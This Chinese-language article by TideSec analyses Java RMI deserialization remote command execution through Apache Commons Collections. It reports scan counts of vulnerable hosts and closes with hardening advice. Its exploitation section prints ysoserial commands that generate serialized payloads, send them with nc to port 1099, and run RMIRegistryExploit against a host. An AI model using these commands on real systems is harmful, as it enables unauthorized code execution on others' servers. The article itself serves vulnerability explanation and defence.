JAVA反序列化之 Rmi命令执行漏洞分析 – 作者:TideSec

1       概述

早在2015年的1月28号,Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,但当时并没有引起太大的关注。后来FoxGlove Security安全团队发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,当时各大src平台已被该漏洞刷屏,漏洞铺天盖地而来。

针对这个”2015年最被低估”的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理,但是网络上仍有大量网站受此漏洞影响。本次讨论的对象是JAVA RMI反序列化远程命令执行漏洞。

2       何为java RMI

RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。

Java rmi远程调用如下:

RMI远程调用步骤:

图片.png

l 客户对象调用客户端辅助对象上的方法

l 客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象

l 服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象

l 调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象

l 服务端辅助对象将结果打包,发送给客户端辅助对象

l 客户端辅助对象将返回值解包,返回给客户对象

l 客户对象获得返回值

3       Java Rmi命令执行是什么

1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。此处尝试利用ysoserial进行漏洞分析。

图片.png

利用Java中Proxy的形式对攻击payload进行封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型,使得payload可以应对不同的应用。

利用该漏洞可在服务器上执行相关命令,此处举例如下

$ java -jar ysoserial.jar CommonsCollections1 calc.exe |xxd

0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ….sr.2sun.refl

0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A

0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat

0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov

0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride……….

0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin

$ nc xx.xx.xx.xx 1099 < groovypayload.bin

$ java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

利用该漏洞查看相关datasource文件内容

RMI服务的攻击,同样可以使用URLClassLoader方法进行回显

 

4       Java Rmi当前漏洞影响

虽然Java RMI服务远程命令执行漏洞过去了4年的时间,但是公网上依然有很多服务器存在该漏洞,此处对国内1099的端口开放情况做了初步统计,具体结果如下:

图片.png图片.png

图片.png

图片.png

 

通过对简单扫描结果进行统计发现,1099端口中国开放12310 台,其中将端口用于RMI交互的主机3891 台,占比31.6%;存在反序列化漏洞3114 台,占比 25.29%

5       加固意见

Ø  关闭rmi服务的端口在公网的开放;

Ø  下载SerialKiller临时补丁,这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型

Ø  在不影响业务的情况下,临时删除掉项目里的InvokerTransformer.class文件;

Ø  定时对WebLogic、Apache、JBoss等中间件进行升级。

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

1551433162_5c78fdca9fae9.jpg

来源:freebuf.com 2019-04-12 23:39:22 by: TideSec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论